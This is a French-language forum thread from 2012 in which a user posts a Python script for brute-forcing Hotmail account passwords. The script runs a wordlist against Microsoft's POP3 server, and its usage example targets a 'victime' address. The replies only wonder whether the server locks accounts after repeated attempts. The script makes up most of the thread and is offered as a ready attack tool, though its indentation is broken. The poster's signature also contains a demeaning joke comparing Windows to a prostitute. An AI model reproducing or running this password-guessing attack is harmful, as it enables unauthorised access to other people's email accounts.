Index du Forum

communauté marocaine des utilisateurs de backtrack
 
 Index du ForumFAQRechercherS’enregistrerConnexion
:: Hotmail Bruteforcer ::

 
Poster un nouveau sujet   Répondre au sujet     Index du Forum -> Outils, codes et astuces -> Codes et scripts
Sujet précédent :: Sujet suivant  
Auteur Message
skyme


Hors ligne

Inscrit le: 10 Mai 2012
Messages: 44
Localisation: france

MessagePosté le: Dim 14 Oct - 09:59 (2012)    Sujet du message: Hotmail Bruteforcer Répondre en citant

Hotmail Bruteforcer
Le script suivant est un script python permettant de bruteforcer un compte hotmail à l'aide d'un Dictionnaire



Code:
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
 


import sys, poplib, time 


log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
 _           _                   _ _   _      __ 
| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_ 
| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|  
                                                 
         Hotmail brute forcer
         '''


help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u victime@hotmail.com -w wordlist.txt
'''
    
for arg in sys.argv:
   if arg.lower() == '-u' or arg.lower() == '--user':
                email = sys.argv[int(sys.argv.index(arg))+1]
        elif arg.lower() == '-w' or arg.lower() == '--wordlist':
           wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
        elif arg.lower() == '-h' or arg.lower() == '--help':
           print face
           print help
           file.write(face)
           file.write(help)


#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995


try:
   preventstrokes = open(wordlist, "r")
   words           = preventstrokes.readlines()
   count          = 0 
   while count < len(words):
      words[count] = words[count].strip() 
      count += 1 
except(IOError): 
     print "\n[-] Error: Check your wordlist path\n"
   file.write("\n[-] Error: Check your wordlist path\n")
     sys.exit(1)
def definer():
   print "-" * 60
   print "[+] Email       : %s" % email
   print "[+] Wordlist       : %s" % wordlist
   print "[+] Length wordlist    : %s " % len(words)
   print "[+] Time Starting    : %s" % time.strftime("%X")
   print "-" * 60
   file.write ("\n[+] Email : %s" % email)
   file.write ("\n[+] Wordlist : %s" % wordlist)
   file.write ("\n[+] length wordlist : %s " % len(words))
   file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
   
def main(password):
   global counter
   sys.stdout.write ("[-] Trying : %s \n" % (password))
   sys.stdout.flush()
   file.write("[-] Trying : %s \n" % (str(password)))
   try:
      pop = poplib.POP3_SSL(HOST, PORT)
           pop.user(email)
           pop.pass_(password)
           pop.quit()
           print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
           file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
           sys.exit(1)
       except Exception, e:
           pass 
        except KeyboardInterrupt:
      print "\n[-] Aborting...\n"
      file.write("\n[-] Aborting...\n")
      sys.exit(1)
   counter+=1
   if counter == len(words)/5:
      print "[+] Hotmailbruteforcer 20% way done..."
      print "[+] Please be patient..."   
      file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
      file.write("[+] Please be patient...\n")
   elif counter == len(words)/4:
      print "[+] Hotmailbruteforcer 25% way done..."
      print "[+] Please be patient..."   
      file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
      file.write("[+] Please be patient...\n")
   elif counter == len(words)/2:
      print "[+] Hotmailbruteforcer on 50% done..."
      print "[+] Please be patient..."   
      file.write("[+] hotmailbruteforcer on halfway done...\n")
      file.write("[+] Please be patient...\n")
   elif counter == len(words):
      print "[+] Hotmailbruteforcer done...\n"
      file.write("[+] Hotmailbruteforcer done...!\n")   
   
if __name__ == '__main__':
   print face
   file.write(face)
   definer()
   for password in words:
      main(password.replace("\n",""))
   main(password)

_________________
La différence entre Linux et Windows, c'est que Linux c'est comme une belle fille, il faut l'apprivoiser, la comprendre, la séduire tandis que Windows, c'est comme une prostitué, il faut payer et surtout bien se protéger.

Skyme


Revenir en haut
Publicité






MessagePosté le: Dim 14 Oct - 09:59 (2012)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Alien
Administrateur

Hors ligne

Inscrit le: 10 Mai 2012
Messages: 173

MessagePosté le: Dim 14 Oct - 19:44 (2012)    Sujet du message: Hotmail Bruteforcer Répondre en citant

J'ai quand même un doute sur le fait que leurs serveur pop ne bannissent pas auto après x tentative de connexion.

Revenir en haut
ZeRo-AbSoLu


Hors ligne

Inscrit le: 30 Aoû 2012
Messages: 74
Localisation: Dans le Deep

MessagePosté le: Jeu 25 Oct - 18:07 (2012)    Sujet du message: Hotmail Bruteforcer Répondre en citant

Je ne sais pas faudrait verifier 
_________________
Mess like the bests Die like the rest


Revenir en haut
Skype
Contenu Sponsorisé






MessagePosté le: Aujourd’hui à 18:46 (2017)    Sujet du message: Hotmail Bruteforcer

Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet     Index du Forum -> Outils, codes et astuces -> Codes et scripts Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  

Index | Panneau d’administration | forum gratuit | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation

© Alien 2012